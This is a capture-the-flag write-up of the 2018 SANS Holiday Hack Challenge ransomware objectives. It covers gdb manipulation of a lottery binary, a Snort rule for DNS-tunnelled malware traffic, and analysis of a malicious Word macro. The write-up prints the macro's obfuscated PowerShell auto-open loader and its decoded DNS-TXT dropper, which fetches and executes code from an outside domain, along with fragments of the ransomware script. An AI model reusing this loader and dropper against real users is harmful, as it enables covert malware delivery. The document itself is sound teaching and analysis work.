3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware		Snort Challenge terminal	Alabaster Snowball
9.2) Identify the Domain			Alabaster Snowball
9.3) Stop the Malware		Hohoho Daddy terminal	Alabaster Snowball
9.4) Recover Alabaster's Password		Elf terminal	Alabaster Snowball
10) Who Is Behind It All?		Piano Lock

---

Objective 9 : Ransomware Recovery

This objective is multiple !

Following our roadmap, we begin by looking for Shinny Upatree :

Seems that we have to cheat a little bit at the Lotto...

And probably the new hint Using gdb to Call Random Functions can help us. And may be the PEDA gdb extension also.

Terminal "The Sleighbell" (first floor at left hand)

I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
  But just one elf,
  Pulls off the shelf,
The bells to hang on Santa's sleigh!

Please call me Shinny Upatree
I write you now, 'cause I would be
  The one who gets -
  Whom Santa lets
The bells to hang on Santa's sleigh!

But all us elves do want the job,
Conveying bells through wint'ry mob
  To be the one
  Toy making's done
The bells to hang on Santa's sleigh!

To make it fair, the Man devised
A fair and simple compromise.
  A random chance,
  The winner dance!
The bells to hang on Santa's sleigh!

Now here I need your hacker skill.
To be the one would be a thrill!
  Please do your best,
  And rig this test
The bells to hang on Santa's sleigh!

Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
elf@ff5509058536:~$ 

Ok, let's try the Sleighbell lotto :

elf@c6645e060dc4:~$ ./sleighbell-lotto

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
        
You drew ticket number 8563!
        
Sorry - better luck next year!
elf@c6645e060dc4:~$ 

The winning ticket is always the 1225.

We run strings sleighbell-lotto just to see if something pops up and we saw some interesting strings :

elf@c6645e060dc4:~$ strings sleighbell-lotto 
/lib64/ld-linux-x86-64.so.2
libcrypto.so.1.1
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
EVP_sha256
HMAC
libc.so.6
exit
srand
puts
time
__stack_chk_fail
printf
strlen
memset
memcpy
malloc
getenv
sleep
__cxa_finalize
__libc_start_main
free
OPENSSL_1_1_0
GLIBC_2.14
GLIBC_2.4
GLIBC_2.2.5
5bv 
%dv 
%bv 
%Zv 
%Rv 
%Jv 
%Bv 
%:v 
%2v 
%*v 
%"v 
=1v 
='u 
=*u 
ATSH
[A\]
AWAVI
AUATL
%ng 
-ng 
[]A\A]A^A_
G1szN20[_a_very_long_and_boring_base64_string_zapped_for_convenience_]zdtIB
0123456789abcdef
RESOURCE_ID
I'm very sorry, but we seem to have an internal issue preventing the successful
completion of this challenge. Please email support@holidayhackchallenge.com with
a screen-shot or any other details you can provide. Thank you!

Congratulations! You've won, and have successfully completed this challenge.
Sorry - better luck next year!
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 
;*3$"
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/8
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7696
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
hmac_sha256.c
sleigh-bell-lotto.c
encoding_table
__FRAME_END__
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__init_array_end
__init_array_start
_DYNAMIC
printf@@GLIBC_2.2.5
memset@@GLIBC_2.2.5
__libc_csu_fini
__gmon_start__
puts@@GLIBC_2.2.5
exit@@GLIBC_2.2.5
tohex
winnermsg
malloc@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
winnerwinner
hmac_sha256
decoded_data
_ITM_deregisterTMCloneTable
_IO_stdin_used
free@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
_ITM_registerTMCloneTable
__data_start
__cxa_finalize@@GLIBC_2.2.5
base64_decode
sleep@@GLIBC_2.2.5
__TMC_END__
__dso_handle
__libc_csu_init
getenv@@GLIBC_2.2.5
__bss_start
__stack_chk_fail@@GLIBC_2.4
HMAC@@OPENSSL_1_1_0
srand@@GLIBC_2.2.5
base64_cleanup
sorry
build_decoding_table
EVP_sha256@@OPENSSL_1_1_0
_edata
memcpy@@GLIBC_2.14
time@@GLIBC_2.2.5
main
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
elf@c6645e060dc4:~$ 

We can also look at the executable symbols with objdump and the objdump -t sleighbell-lotto command :

elf@c6645e060dc4:~$ objdump -t sleighbell-lotto 

sleighbell-lotto:     file format elf64-x86-64

SYMBOL TABLE:
0000000000000238 l    d  .interp        0000000000000000              .interp
0000000000000254 l    d  .note.ABI-tag  0000000000000000              .note.ABI-tag
0000000000000274 l    d  .note.gnu.build-id     0000000000000000              .note.gnu.build-id
0000000000000298 l    d  .gnu.hash      0000000000000000              .gnu.hash
00000000000002b8 l    d  .dynsym        0000000000000000              .dynsym
00000000000004c8 l    d  .dynstr        0000000000000000              .dynstr
00000000000005e4 l    d  .gnu.version   0000000000000000              .gnu.version
0000000000000610 l    d  .gnu.version_r 0000000000000000              .gnu.version_r
0000000000000670 l    d  .rela.dyn      0000000000000000              .rela.dyn
0000000000000748 l    d  .rela.plt      0000000000000000              .rela.plt
00000000000008c8 l    d  .init  0000000000000000              .init
00000000000008e0 l    d  .plt   0000000000000000              .plt
00000000000009f0 l    d  .plt.got       0000000000000000              .plt.got
0000000000000a00 l    d  .text  0000000000000000              .text
0000000000001624 l    d  .fini  0000000000000000              .fini
0000000000001630 l    d  .rodata        0000000000000000              .rodata
0000000000006dcc l    d  .eh_frame_hdr  0000000000000000              .eh_frame_hdr
0000000000006e40 l    d  .eh_frame      0000000000000000              .eh_frame
0000000000207d30 l    d  .init_array    0000000000000000              .init_array
0000000000207d38 l    d  .fini_array    0000000000000000              .fini_array
0000000000207d40 l    d  .dynamic       0000000000000000              .dynamic
0000000000207f40 l    d  .got   0000000000000000              .got
0000000000208000 l    d  .data  0000000000000000              .data
0000000000208068 l    d  .bss   0000000000000000              .bss
0000000000000000 l    d  .comment       0000000000000000              .comment
0000000000000000 l    df *ABS*  0000000000000000              crtstuff.c
0000000000000a30 l     F .text  0000000000000000              deregister_tm_clones
0000000000000a70 l     F .text  0000000000000000              register_tm_clones
0000000000000ac0 l     F .text  0000000000000000              __do_global_dtors_aux
0000000000208068 l     O .bss   0000000000000001              completed.7696
0000000000207d38 l     O .fini_array    0000000000000000              __do_global_dtors_aux_fini_array_entry
0000000000000b00 l     F .text  0000000000000000              frame_dummy
0000000000207d30 l     O .init_array    0000000000000000              __frame_dummy_init_array_entry
0000000000000000 l    df *ABS*  0000000000000000              hmac_sha256.c
0000000000000000 l    df *ABS*  0000000000000000              sleigh-bell-lotto.c
0000000000208020 l     O .data  0000000000000040              encoding_table
0000000000208078 l     O .bss   0000000000000008              decoding_table
0000000000000000 l    df *ABS*  0000000000000000              crtstuff.c
000000000000702c l     O .eh_frame      0000000000000000              __FRAME_END__
0000000000000000 l    df *ABS*  0000000000000000              
0000000000006dcc l       .eh_frame_hdr  0000000000000000              __GNU_EH_FRAME_HDR
0000000000207f40 l     O .got   0000000000000000              _GLOBAL_OFFSET_TABLE_
0000000000207d38 l       .init_array    0000000000000000              __init_array_end
0000000000207d30 l       .init_array    0000000000000000              __init_array_start
0000000000207d40 l     O .dynamic       0000000000000000              _DYNAMIC
0000000000208000  w      .data  0000000000000000              data_start
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              memset@@GLIBC_2.2.5
0000000000001620 g     F .text  0000000000000002              __libc_csu_fini
0000000000000a00 g     F .text  000000000000002b              _start
0000000000000000  w      *UND*  0000000000000000              __gmon_start__
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              exit@@GLIBC_2.2.5
0000000000001624 g     F .fini  0000000000000000              _fini
0000000000000f18 g     F .text  00000000000000bf              tohex
0000000000208060 g     O .data  0000000000000008              winnermsg
0000000000000000       F *UND*  0000000000000000              malloc@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000000fd7 g     F .text  00000000000004e0              winnerwinner
0000000000000b0a g     F .text  00000000000000c2              hmac_sha256
0000000000208070 g     O .bss   0000000000000008              decoded_data
0000000000000000  w      *UND*  0000000000000000              _ITM_deregisterTMCloneTable
0000000000001630 g     O .rodata        0000000000000004              _IO_stdin_used
0000000000000000       F *UND*  0000000000000000              free@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              strlen@@GLIBC_2.2.5
0000000000000000  w      *UND*  0000000000000000              _ITM_registerTMCloneTable
0000000000208000 g       .data  0000000000000000              __data_start
0000000000000000  w    F *UND*  0000000000000000              __cxa_finalize@@GLIBC_2.2.5
0000000000000c43 g     F .text  00000000000002d5              base64_decode
0000000000000000       F *UND*  0000000000000000              sleep@@GLIBC_2.2.5
0000000000208068 g     O .data  0000000000000000              .hidden __TMC_END__
0000000000208008 g     O .data  0000000000000000              .hidden __dso_handle
00000000000015b0 g     F .text  0000000000000065              __libc_csu_init
0000000000000000       F *UND*  0000000000000000              getenv@@GLIBC_2.2.5
0000000000208068 g       .bss   0000000000000000              __bss_start
0000000000000000       F *UND*  0000000000000000              __stack_chk_fail@@GLIBC_2.4
0000000000000000       F *UND*  0000000000000000              HMAC@@OPENSSL_1_1_0
0000000000000000       F *UND*  0000000000000000              srand@@GLIBC_2.2.5
0000000000208080 g       .bss   0000000000000000              _end
0000000000000c1e g     F .text  0000000000000025              base64_cleanup
00000000000014b7 g     F .text  0000000000000013              sorry
0000000000000bcc g     F .text  0000000000000052              build_decoding_table
0000000000000000       F *UND*  0000000000000000              EVP_sha256@@OPENSSL_1_1_0
0000000000000000       F *UND*  0000000000000000              rand@@GLIBC_2.2.5
0000000000208068 g       .data  0000000000000000              _edata
0000000000000000       F *UND*  0000000000000000              memcpy@@GLIBC_2.14
0000000000000000       F *UND*  0000000000000000              time@@GLIBC_2.2.5
00000000000014ca g     F .text  00000000000000e1              main
00000000000008c8 g     F .init  0000000000000000              _init


elf@c6645e060dc4:~$ 

We retrieve the winnermsg an winnerwinner strings. The first one is in the data segment and the second one in the text segment, which is the segment containing the program's code. So there is a winnerwinner function which is probably called when the player wins.

Time to disassemble and hack this elf !

We launch gdb and like we are more confortable with the Intel assembly code representation, we ask gdb to show code with this flavor : set disassembly-flavor intel.

And we ask gdb to disassemble the main function with disas main :

Dump of assembler code for function main:
0x00000000000014ca <+0>:     push   rbp
0x00000000000014cb <+1>:     mov    rbp,rsp
0x00000000000014ce <+4>:     sub    rsp,0x10
0x00000000000014d2 <+8>:     lea    rdi,[rip+0x56d6]        # 0x6baf
0x00000000000014d9 <+15>:    call   0x970 <getenv@plt>
0x00000000000014de <+20>:    test   rax,rax
0x00000000000014e1 <+23>:    jne    0x14f9 <main+47>
0x00000000000014e3 <+25>:    lea    rdi,[rip+0x56d6]        # 0x6bc0
0x00000000000014ea <+32>:    call   0x910 <puts@plt>
0x00000000000014ef <+37>:    mov    edi,0xffffffff
0x00000000000014f4 <+42>:    call   0x920 <exit@plt>
0x00000000000014f9 <+47>:    mov    edi,0x0
0x00000000000014fe <+52>:    call   0x9e0 <time@plt>
0x0000000000001503 <+57>:    mov    edi,eax
0x0000000000001505 <+59>:    call   0x9a0 <srand@plt>
0x000000000000150a <+64>:    lea    rdi,[rip+0x583f]        # 0x6d50
0x0000000000001511 <+71>:    call   0x910 <puts@plt>
0x0000000000001516 <+76>:    mov    edi,0x1
0x000000000000151b <+81>:    call   0x960 <sleep@plt>
0x0000000000001520 <+86>:    call   0x9c0 <rand@plt>
0x0000000000001525 <+91>:    mov    ecx,eax
0x0000000000001527 <+93>:    mov    edx,0x68db8bad
0x000000000000152c <+98>:    mov    eax,ecx
0x000000000000152e <+100>:   imul   edx
0x0000000000001530 <+102>:   sar    edx,0xc
0x0000000000001533 <+105>:   mov    eax,ecx
0x0000000000001535 <+107>:   sar    eax,0x1f
0x0000000000001538 <+110>:   sub    edx,eax
0x000000000000153a <+112>:   mov    eax,edx
0x000000000000153c <+114>:   mov    DWORD PTR [rbp-0x4],eax
0x000000000000153f <+117>:   mov    eax,DWORD PTR [rbp-0x4]
0x0000000000001542 <+120>:   imul   eax,eax,0x2710
0x0000000000001548 <+126>:   sub    ecx,eax
0x000000000000154a <+128>:   mov    eax,ecx
0x000000000000154c <+130>:   mov    DWORD PTR [rbp-0x4],eax
0x000000000000154f <+133>:   lea    rdi,[rip+0x5856]        # 0x6dac
0x0000000000001556 <+140>:   mov    eax,0x0
0x000000000000155b <+145>:   call   0x8f0 <printf@plt>
0x0000000000001560 <+150>:   mov    eax,DWORD PTR [rbp-0x4]
0x0000000000001563 <+153>:   mov    esi,eax
0x0000000000001565 <+155>:   lea    rdi,[rip+0x5858]        # 0x6dc4
0x000000000000156c <+162>:   mov    eax,0x0
0x0000000000001571 <+167>:   call   0x8f0 <printf@plt>
0x0000000000001576 <+172>:   lea    rdi,[rip+0x584a]        # 0x6dc7
0x000000000000157d <+179>:   call   0x910 <puts@plt>
0x0000000000001582 <+184>:   cmp    DWORD PTR [rbp-0x4],0x4c9
0x0000000000001589 <+191>:   jne    0x1597 <main+205>
0x000000000000158b <+193>:   mov    eax,0x0
0x0000000000001590 <+198>:   call   0xfd7 <winnerwinner>
0x0000000000001595 <+203>:   jmp    0x15a1 <main+215>
0x0000000000001597 <+205>:   mov    eax,0x0
0x000000000000159c <+210>:   call   0x14b7 <sorry>
0x00000000000015a1 <+215>:   mov    edi,0x0
0x00000000000015a6 <+220>:   call   0x920 <exit@plt>
End of assembler dump.
(gdb)

Like the elf binary is not stripped, we can read the code more easily since we see the function's names.

At offset 0x1582 we can see a comparison between a local variable [rbp-0x4] and a constant 0x4c9 which decimal value is 1225 ! If the local variable is different than the constant, the "sorry" message is printed. But if the variable is equal to the constant the winnerwinner function is called.

There are a number of methods to call the winnerwinner function. We could :

• put a breakpoint on the number comparison and modify the value contained by the local variable used by the jne instruction ;
• put a breakpoint on the number comparison and modify the constant value used for comparison ;
• call the winnerwinner function directly, bypassing all other program stuff ;
• put a breakpoint on the number comparison and modify the instruction pointer register (RIP in 64 bits) to execute the call to winnerwinner function instead of the jne one ;
• modify the code to inhibit the jne instruction by « nopping » it. For this, we will replace the jne 0x1597 instruction by some nop instructions which stands for No « OPeration » ;
• and probably more...

We can try to use the hint and call the winnerwinner function directly.

We put a breakpoint on the entry of the main function with a break main, and then we run the program with the r command :

(gdb) break main
Breakpoint 1 at 0x14ce
(gdb) 

Next we run the program with r command and it breaks as expected on the start of the main function :

(gdb) r
Starting program: /home/elf/sleighbell-lotto 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ce in main ()
(gdb) 

Then we just ask gdb to call the winnerwinner function with a jump winnerwinner command :

Ok, we can now return to Shinny Upatree :

Shinny gives us a lot of interesting informations !

A Powershell cryptolocker named Wanacookie has encrypted all the Elf terminal files. The malware uses DNS requests to communicate with his Command and Control server (C&C or CC or C2 in brief). May be we can help by retrieving crypto keys in memory or by exploiting some C&C flaws ?

It's time to speak with Alabaster Snowball in the secret room and look at those new terminals...

Objective 9.1 : Catch the Malware

Ok, Snort can probably help for this. Let's have a look to this Intrusion Detection System :

Snort Challenge

  _  __     _             _       _____          _   _      
 | |/ /    (_)           | |     / ____|        | | | |     1
 | ' / _ __ _ _ __   __ _| | ___| |     __ _ ___| |_| | ___ 
 |  < | '__| | '_ \ / _` | |/ _ \ |    / _` / __| __| |/ _ \
 | . \| |  | | | | | (_| | |  __/ |___| (_| \__ \ |_| |  __/
 |_|\_\_|  |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
             / ____| __/ |          | |                     
            | (___  |___/  ___  _ __| |_                    
             \___ \| '_ \ / _ \| '__| __|                   
             ____) | | | | (_) | |  | |_                    
            |_____/|_|_|_|\___/|_|_  \__|                   
               |_   _|  __ \ / ____|                        
                 | | | |  | | (___                          
         _____   | | | |  | |\___ \        __               
        / ____| _| |_| |__| |____) |      /_ |              
       | (___  |_____|_____/|_____/ _ __   | |              
        \___ \ / _ \ '_ \/ __|/ _ \| '__|  | |              
        ____) |  __/ | | \__ \ (_) | |     | |              
       |_____/ \___|_| |_|___/\___/|_|     |_|              
============================================================
INTRO:
  Kringle Castle is currently under attacked by new piece of
  ransomware that is encrypting all the elves files. Your 
  job is to configure snort to alert on ONLY the bad 
  ransomware traffic.
GOAL:
  Create a snort rule that will alert ONLY on bad ransomware
  traffic by adding it to snorts /etc/snort/rules/local.rules
  file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
  Successfully create a snort rule that matches ONLY
  bad DNS traffic and NOT legitimate user traffic and the
  system will notify you of your success.
  
  Check out ~/more_info.txt for additional information.
elf@669966cf93c9:~$ 

There is a more_info.txt file in our home :

elf@fe912a7eb061:~$ ls -A
.bash_logout  .bashrc  .profile  more_info.txt  snort.log.pcap  snort_logs
elf@fe912a7eb061:~$ 

Read those infos :

elf@17c86a419b59:~$ cat more_info.txt 
MORE INFO:
  A full capture of DNS traffic for the last 30 seconds is 
  constantly updated to:
  /home/elf/snort.log.pcap
  You can also test your snort rule by running:
  snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
  This will create an alert file at ~/snort_logs/alert
  This sensor also hosts an nginx web server to access the 
  last 5 minutes worth of pcaps for offline analysis. These 
  can be viewed by logging into:
  http://snortsensor1.kringlecastle.com/
  Using the credentials:
  ----------------------
  Username | elf
  Password | onashelf
  tshark and tcpdump have also been provided on this sensor.
HINT: 
  Malware authors often user dynamic domain names and 
  IP addresses that change frequently within minutes or even 
  seconds to make detecting and block malware more difficult.
  As such, its a good idea to analyze traffic to find patterns
  and match upon these patterns instead of just IP/domains.elf@17c86a419b59:~$

The Snort Sensor web site is only a capture file repository :

Studying the snort.log.1546685932.99643.pcap pcap file with Wireshark, we can note some interesting points :

• there are multiple IP sources. In ou example 10.126.0.39, 10.126.0.150, 10.126.0.47, 10.126.0.32, 10.126.0.39, and so on ;
• it'a capture of DNS traffic only ;
• there are a number of DNS requests for names likes 77616E6E61636F6F6B69652E6D696E2E707331.xxxxxxxx.xxx or 0.77616E6E61636F6F6B69652E6D696E2E707331.xxxxxxxx.xxx, where the subdomain part seem to contain ASCII in hexadecimal ;
• when these requests are prefixed with a digit and a dot, the answer length is much longer.

First we can analyze some requested names interpreting the subdomain requested as some hexadecimal ASCII.

Query from packet 1 :

77616E6E61636F6F6B69652E6D696E2E707331.bhruengasr.com  
 w a n n a c o o k i e . m i n . p s 1

Response from packet 2 :

64

Query from packet 5:

77616E6E61636F6F6B69652E6D696E2E707331.grbreu.org
 w a n n a c o o k i e . m i n . p s 1

Response from packet 2 :

64

Query from packet 9 :

0.77616E6E61636F6F6B69652E6D696E2E707331.grbreu.org: type TXT, class IN

Response converted from hexadecimal ASCII :

$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl

Query from packet 17 (same IP source than packet 9):

0.77616E6E61636F6F6B69652E6D696E2E707331.bhruengasr.com: type TXT, class IN

$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl

Query from packet 17 (same IP source than packet 9):

1.77616E6E61636F6F6B69652E6D696E2E707331.grbreu.org

Response from packet 18 converted from hexadecima ASCII :

y]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Secur

We can filter on a source IP address to see all his DNS queries. For instance, entering ip.addr==10.126.0.47 in the wireshark filter and sorting by source gives us :

Ok, this is enough. We see that the compromised devices send DNS requests for names like :

[part_of_file_requested].[wannacookie.min.ps1_hexadimal_ascii_encoded].[some_variable_domain_name].[tld_com_or_org]

Each answer sends a part of the file requested.

So, to detect wanacookie traffic, we can try to filter on the subdomain of the requested names.

We want to alert when there is a DNS request from our network on a name containing .77616E6E61636F6F6B69652E6D696E2E707331..

alert udp $HOME_NET any -> any 53 (msg:”Wanacookie is there”;sid:1000001;rev:1;content:".77616E6E61636F6F6B69652E6D696E2E707331.")

Trying this rule :

We get a message standing that :

elf@f8be739ea472:~$ vi /etc/snort/rules/local.rules
elf@f8be739ea472:~$ 
[i] Snort is not alerting on all ransomware!

Maybe we are too restrictive and want to alert also on DNS answers ?

A less restrictive filter may be :

alert udp any any -> any any (msg:”Wanacookie is there”;sid:1000001;rev:2;content:".77616E6E61636F6F6B69652E6D696E2E707331.")

Same answer...

...looking again to the pcap...

Ok, our filter won't detect the first DNS request without the first dot !

Here is our third filter test (removing the dots in the content looked for) :

alert udp any any -> any any (msg:”Wanacookie is there”;sid:1000001;rev:3;content:"77616E6E61636F6F6B69652E6D696E2E707331")

Ok, it works :

elf@f8be739ea472:~$ vi /etc/snort/rules/local.rules
elf@f8be739ea472:~$ 
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
[+]

And this achieve the first Malware objective :

We can now speak again with Amabaster Snowball :

And download the word document refered by the given link : hxxps://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip !

wget https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip

unzip CHOCOLATE_CHIP_COOKIE_RECIPE.zip

Objective 9.2 : Identify the Domain

Note : for the reader who is not aware of malware stuffs, it's a good idea to watch the Chris Davis Analyzing PowerShell Malware video at this time. Chris gives a lot of good advices, practices and tools to help study malicious documents and Powershell scripts.

Now, we have to study the Word document. There is probably an autoload malicious macro inside it. The best tool for viewing the document content and extract the macro is oletools. We can download it from https://github.com/decalage2/oletools/wiki/Install or simply install it with pip :

pip install oletools

Then we can look to the document with a olevba -a CHOCOLATE_CHIP_COOKIE_RECIPE.docm command :

olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
+------------+-----------------+-----------------------------------------+
| Type       | Keyword         | Description                             |
+------------+-----------------+-----------------------------------------+
| AutoExec   | AutoOpen        | Runs when the Word document is opened   |
| AutoExec   | Document_Open   | Runs when the Word or Publisher         |
|            |                 | document is opened                      |
| Suspicious | Shell           | May run an executable file or a system  |
|            |                 | command                                 |
| Suspicious | powershell      | May run PowerShell commands             |
| Suspicious | ExecutionPolicy | May run PowerShell commands             |
| Suspicious | New-Object      | May create an OLE object using          |
|            |                 | PowerShell                              |
| IOC        | powershell.exe  | Executable file name                    |
+------------+-----------------+-----------------------------------------+

Ok, there are some AutoOpen macros there. We can dump them with a olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm :

olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

There is a new --reveal switch in olevba which can deobfuscate vba strings, but it does not work on this sample.

The macro launch powershell to execute an obfuscated script. We can extract the obfuscated datas and the part of code which de-obfuscate it and execute only these commands to get the clear script. Here is the de-obfuscation code extracted :

$b64_datas = 'lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'
$compress = new-object -TypeName System.IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($b64_datas),[IO.Compression.CompressionMode]::Decompress)
$streamReader = new-object -TypeName IO.StreamReader($compress,[Text.Encoding]::ASCII)
$streamReader.ReadToEnd()

Once executed in Powershell, we get this decoded string :

function H2A($a)
  {
    $o;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
    return $o
  };
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1))
  {
    $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
  };
iex($(H2A $h | Out-string))

This code is some sort of dropper. It makes a loop of DNS requests to get the content of wanacookie.min.ps1 file which is the real ransomware code.

Before studying it, we can probably achieve our second malware objective which is to « identify the domain name that the malware communicates with » :

It works :

Going back to speak with Alabaster :

I also wonder what erohetfanu means. It's probably an anagram, but my english is too poor to solve it :-/ !

Objective 9.3 : Stop the Malware

We can run the decoded string without the last execution command (the iex one) to download the content of the file through the loop of DNS requests :

function H2A($a)
  {
    $o;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
    return $o
  };
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1))
  {
    $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
  };
$(H2A $h | Out-string)

We obtain this source :

